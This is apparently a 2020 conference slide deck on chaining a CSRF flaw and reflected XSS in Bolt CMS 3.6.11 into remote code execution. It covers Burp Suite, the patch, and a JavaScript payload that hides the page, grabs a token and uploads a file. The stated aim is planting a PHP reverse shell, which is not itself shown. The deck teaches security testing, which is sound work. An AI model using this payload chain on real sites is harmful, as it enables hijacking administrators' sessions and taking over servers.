Web Application Pentesting

Chaining Vulnerabilities to Achieve Remote Code Execution

FCon – October 30, 2020
Adnan Khan

• CNO Developer @ Fortego LLC
• Occasional CTFer & HTB player
• Current OSCP Holder
• Working on OSWE
  • Certification associated with Offensive Security’s Advanced Web Application Exploitation course
Target Application: Bolt CMS v. 3.6.11

- Vulnerabilities discovered by security researchers
- CVE-2020-4040, CVE-2020-4041
- https://seclists.org/fulldisclosure/2020/Jul/4

CMS written in PHP
Burp Suite

• Extremely powerful HTTP/HTTPS proxy
• Very easy to set up to work with Python requests, web browsers
• Available as a Community Edition as well as a paid Professional Edition.
Useful Burp Features

- Proxy
- Repeater
- Intruder

Limitations?

- May take time for “newer” web features to be included.
- WebSocket support was only added mid-2019
- No intruder for WebSocket yet (blind SQLi would need to be scripted with Python or with a tool like sqlmap)
- More automated features require Professional Edition
Common Web Application Vulnerabilities

• OWASP Top 10 – List of top 10 Web App Security Risks
  • Injection
  • Broken Authentication
  • Sensitive Data Exposure
  • XML External Entities
  • Broken Access Control
  • Security Misconfiguration
  • **XSS**
  • Insecure Deserialization
  • Vulnerabilities within components
  • Insufficient Logging and Monitoring

• **CSRF** is also exploited (though it is no longer in the top-10)
CSRF – Cross Site Request Forgery

• Cross Site request forgery exploits the trust that a website has in the user’s browser.
  • A user establishes this trust relationship by logging into a website and receiving a session cookie

• Bolt CMS <= 3.7.0 lacks CSRF protection for the /preview endpoint
Expected Behavior

• Symfony handles CSRF with forms
• Without the CSRF token the form submission should be rejected
This is interesting...

- Changing the token to an invalid value and re-sending with Burp repeater still returns a 200!
CSRF Patch

- The patch adds a check for the `_token` post parameter.
- On the vulnerable version if we issue a POST to this endpoint, then an attacker can get the admin to perform an action on the site!
XSS – Cross Site Scripting

• Cross Site scripting involves introducing potentially malicious Javascript code onto the target website.
  • Stored XSS
    • Example: Posting a comment on a message board with <script> tag that is not properly sanitized.
  • Reflected XSS
    • XSS payload is passed into the URL, and then reflected back to the user (for example, a search URL parameter that is used to display ‘You searched for: cats’
    • **We are exploiting this in conjunction with the previous CSRF**
  • DOM Based
    • Occurs when an element is written to the DOM from an attacker controlled source.
      • Example: Social media website dynamically profile text from another user’s profile and writes it to the DOM
        • The key here is that the write happens to the DOM using document.write (or a few other JS functions)
Edit Page » Target Attack

Title:
Target Attack

Permalink:
/page/target-attack

Image:
Path to image file:
Allowed file types are: gif, jpg, png, ico, svg, jpeg ...
Upload Image  Select from server  Stack

Preview

Teaser:
This is a page for the FCon target machine.
We can use an XSS payload and trick the administrator into executing it!

The ‘/async/file/rename’ endpoint does not properly sanitize file extensions. This allows us to upload a .txt file and then rename it with the .php extension!

The problem is that this requires us to be logged into the application as the admin.

What about code execution?

We can use an XSS payload and trick the administrator into executing it!
XSS Payload Goals

- Upload a .txt file, which contains a PHP reverse shell
- Rename the .txt extension to .php
- Inform the attacker that the reverse shell payload is ready
  
  Note the token!
  - We can use regular expressions in JS to parse out the token from a GET request prior to our POSTs!
Utilized JS Objects

- XMLHttpRequest
  - Supports GET, POST
  - Can be called async or sync
  - Provides access to full response text along with response codes

- FormData
  - Provides an easier way to wrap multi-part form data.
  - Handles setting boundaries, which is a bit of a pain to do manually!

Remember, browser compatibility matters for XSS payloads too!
function uploadFile(file) { 
var url = '/bolt/files' 
var formData = new FormData(); 
formData.append('file', file); 
formData.append('token', 'b356b0c5'); 
var xhr = new XMLHttpRequest(); 
xhr.open('POST', url, true); 
xhr.setRequestHeader('Content-Type', 'multipart/form-data'); 
xhr.send(formData); 
xhr.onreadystatechange = function() { 
  if (xhr.readyState === xhr.DONE) { 
    if (xhr.status === 200) { 
      var response = xhr.responseText; 
      var matches = response.match(/\btoken:\d+/g); 
      token = matches[0]; 
    } 
    xhr.send(null); 
  }
}
}

function getTokenAndUpload() { 
var xhr = new XMLHttpRequest(); 
xhr.open('GET', '/bolt/files', true); 
xhr.onreadystatechange = function() { 
  if (xhr.readyState === xhr.DONE) { 
    var response = xhr.responseText; 
    var matches = response.match(/\btoken:\d+/g); 
    token = matches[0]; 
    xhr.send(null); 
  }
}
}

document.write('<style class="hideStuff" + 
  'type="text/css">body {display:none};</style>'); 
 getTokenAndUpload(); 
setTimeout("location.href = 'https://www.youtube.com/watch?v=KoG5S3YRM4A?autoplay=1';", 5000);
Attack Scenario

Target

- Running Bolt CMS 3.6.11
- Authenticated to Bolt CMS
- Clicks a button on a simulated malicious site

Admin

- (Unknowingly) POSTs

Attacker

Accesses the payload to achieve RCE

served js payload via <script src= ... >
DEMO VIDEOS
Admin Perspective
Attacker Perspective
Thank you!
Any questions?